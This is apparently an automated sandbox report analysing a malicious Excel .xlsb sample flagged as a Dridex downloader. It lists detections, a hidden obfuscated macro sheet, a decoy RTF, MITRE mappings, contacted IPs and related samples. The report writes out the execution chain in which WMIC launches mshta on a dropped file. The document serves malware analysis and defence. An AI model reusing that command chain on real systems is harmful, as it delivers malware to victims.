Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

E-Banking Fraud:

Yara detected Dridex Downloader

Show sources

Source: Yara match

File source: C:\ProgramData\EcsbNSOxkInoaK.rtf, type: DROPPED

System Summary:

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: 03332955311591163552.xlsb

Initial sample: EXEC

Found protected and hidden Excel 4.0 Macro sheet

Show sources

Source: 03332955311591163552.xlsb

Initial sample: Sheet name: Macro1

Contains functionality to create processes via WMI

Show sources

Source: WMIC.exe, 0000000D.00000002.770163215.00000000028A0000.00000004.00000020.sdmp

Binary or memory string: C:\Users\user\Documents\C:\Windows\SysWOW64\Wbem\wmic.exewmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf"C:\Windows\System32\Wbem\wmic.exeWinSta0\Default

Found obfuscated Excel 4.0 Macro

Show sources

Source: 03332955311591163552.xlsb

Macro extractor: Sheet: Macro1 high usage of CHAR() function: 63

Source: 03332955311591163552.xlsb

Macro extractor: Sheet name: Macro1

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Section loaded: vbscript.dll

Jump to behavior

Source: 03332955311591163552.xlsb

Virustotal: Detection: 8%

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf"
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta C:\ProgramData\EcsbNSOxkInoaK.rtf
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf"	Jump to behavior

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4228:120:WilError_01

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{A2C6DECC-6D9B-432D-BBF0-EEE6F014F6B0} - OProcSessId.dat

Jump to behavior

Source: classification engine

Classification label: mal92.troj.expl.evad.winXLSB@5/6@0/1

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 03332955311591163552.xlsb	Initial sample: OLE zip file path = xl/media/image2.png
Source: 03332955311591163552.xlsb	Initial sample: OLE zip file path = xl/media/image1.png
Source: 03332955311591163552.xlsb	Initial sample: OLE zip file path = docProps/custom.xml

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Persistence and Installation Behavior:

Creates processes via WMI

Show sources

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Hooking and other Techniques for Hiding and Protection:

Creates and opens a fake document (probably a fake document to hide exploiting)

Show sources

Source: unknown	Process created: cmd line: ecsbnsoxkinoak.rtf
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: cmd line: ecsbnsoxkinoak.rtf			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: Yara match

File source: app.xml, type: SAMPLE

Source: mshta.exe, 0000000F.00000002.924921338.00000230C08D0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: mshta.exe, 0000000F.00000002.924921338.00000230C08D0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: mshta.exe, 0000000F.00000002.924921338.00000230C08D0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: mshta.exe, 0000000F.00000002.924921338.00000230C08D0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	DLL Side-Loading1	Process Injection2	Masquerading1	OS Credential Dumping	Process Discovery1	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Non-Standard Port1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting3	Boot or Logon Initialization Scripts	DLL Side-Loading1	Process Injection2	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution31	Logon Script (Windows)	Logon Script (Windows)	Scripting3	Security Account Manager	System Information Discovery4	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	DLL Side-Loading1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
03332955311591163552.xlsb	8%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://roaming.edog.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	URL Reputation	safe
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h	0%	Avira URL Cloud	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://api.aadrm.com	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://api.addins.store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://asgsmsproxyapi.azurewebsites.net/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://ncus.pagecontentsync.	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://dataservice.o365filtering.com	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe
https://ovisualuiapp.azurewebsites.net/pbiagave/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.diagnosticssdf.office.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://login.microsoftonline.com/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://shell.suite.office.com:1443	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://autodiscover-s.outlook.com/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://roaming.edog.	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://cdn.entity.	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://api.addins.omex.office.net/appinfo/query	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://clients.config.office.net/user/v1.0/tenantassociationkey	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://powerlift.acompli.net	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://cortana.ai	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://cloudfiles.onenote.com/upload.aspx	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://entitlement.diagnosticssdf.office.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://api.aadrm.com/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://ofcrecsvcapi-int.azurewebsites.net/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://api.microsoftstream.com/api/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://cr.office.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	Avira URL Cloud: safe	low
https://portal.office.com/account/?ref=ClientMeControl	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://graph.ppe.windows.net	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://powerlift-frontdesk.acompli.net	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://tasks.office.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://officeci.azurewebsites.net/api/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://sr.outlook.office.net/ws/speech/recognize/assistant/work	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://store.office.cn/addinstemplate	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://api.aadrm.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://outlook.office.com/autosuggest/api/v1/init?cvid=	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://globaldisco.crm.dynamics.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://dev0-api.acompli.net/autodetect	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://www.odwebp.svc.ms	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://api.powerbi.com/v1.0/myorg/groups	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://web.microsoftstream.com/video/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://api.addins.store.officeppe.com/addinstemplate	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://graph.windows.net	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://dataservice.o365filtering.com/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://officesetup.getmicrosoftkey.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://analysis.windows.net/powerbi/api	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://prod-global-autodetect.acompli.net/autodetect	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://outlook.office365.com/autodiscover/autodiscover.json	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://ncus.contentsync.	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
http://weather.service.msn.com/data.aspx	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://apis.live.net/v5.0/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://management.azure.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://outlook.office365.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://wus2.contentsync.	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://incidents.diagnostics.office.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://clients.config.office.net/user/v1.0/ios	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://insertmedia.bing.office.net/odc/insertmedia	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://o365auditrealtimeingestion.manage.office.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://api.office.net	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://incidents.diagnosticssdf.office.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://asgsmsproxyapi.azurewebsites.net/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://entitlement.diagnostics.office.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://substrate.office.com/search/api/v2/init	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://outlook.office.com/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://outlook.office365.com/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://webshell.suite.office.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://substrate.office.com/search/api/v1/SearchHistory	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://management.azure.com/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://login.windows.net/common/oauth2/authorize	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://graph.windows.net/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://api.powerbi.com/beta/myorg/imports	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://devnull.onenote.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://ncus.pagecontentsync.	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://messaging.office.com/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://augloop.office.com/v2	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://skyapi.live.net/Activity/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/mac	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://dataservice.o365filtering.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://api.cortana.ai	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown
https://onedrive.live.com	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false		high
https://ovisualuiapp.azurewebsites.net/pbiagave/	FDAB8C70-EFBA-4D02-A19B-AF584A650287.0.dr	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
136.144.181.174	unknown	Netherlands		20857	TRANSIP-ASAmsterdamtheNetherlandsNL	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	528334
Start date:	25.11.2021
Start time:	03:42:06
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	03332955311591163552.xlsb
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.troj.expl.evad.winXLSB@5/6@0/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsb Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active AutoShape Object Active Picture Object Active Picture Object Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, UpdateNotificationMgr.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 52.109.76.68, 52.109.12.21, 52.109.76.34 Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, s-ring.msedge.net, prod.configsvc1.live.com.akadns.net, settings-win.data.microsoft.com, store-images.s-microsoft.com-c.edgekey.net, arc.msn.com, t-ring.msedge.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, go.microsoft.com, store-images.s-microsoft.com, config.officeapps.live.com, nexus.officeapps.live.com, displaycatalog.mp.microsoft.com, officeclient.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, teams-ring.msedge.net, europe.configsvc1.live.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:43:50	API Interceptor	1x Sleep call for process: WMIC.exe modified
03:43:52	API Interceptor	1x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
136.144.181.174	license517502.xlsb	Get hash	malicious	Browse
	03332955311591163552.xlsb	Get hash	malicious	Browse
	license517502.xlsb	Get hash	malicious	Browse
	942830.xlsb	Get hash	malicious	Browse
	promo code83874071.xlsb	Get hash	malicious	Browse
	promo code83874071.xlsb	Get hash	malicious	Browse
	vote number3210109.xlsb	Get hash	malicious	Browse
	tax77567960.xlsb	Get hash	malicious	Browse
	hunting license-25331.xlsb	Get hash	malicious	Browse
	vote number3210109.xlsb	Get hash	malicious	Browse
	tax77567960.xlsb	Get hash	malicious	Browse
	subscription-84799.xlsb	Get hash	malicious	Browse
	hunting license-25331.xlsb	Get hash	malicious	Browse
	subscription-84799.xlsb	Get hash	malicious	Browse
	8993268.xlsb	Get hash	malicious	Browse
	promo 2352017.xlsb	Get hash	malicious	Browse
	8993268.xlsb	Get hash	malicious	Browse
	promo 2352017.xlsb	Get hash	malicious	Browse
	Offer 373466695.xlsb	Get hash	malicious	Browse
	Offer 373466695.xlsb	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TRANSIP-ASAmsterdamtheNetherlandsNL	license517502.xlsb	Get hash	malicious	Browse	136.144.181.174
	03332955311591163552.xlsb	Get hash	malicious	Browse	136.144.181.174
	license517502.xlsb	Get hash	malicious	Browse	136.144.181.174
	942830.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo code83874071.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo code83874071.xlsb	Get hash	malicious	Browse	136.144.181.174
	vote number3210109.xlsb	Get hash	malicious	Browse	136.144.181.174
	tax77567960.xlsb	Get hash	malicious	Browse	136.144.181.174
	hunting license-25331.xlsb	Get hash	malicious	Browse	136.144.181.174
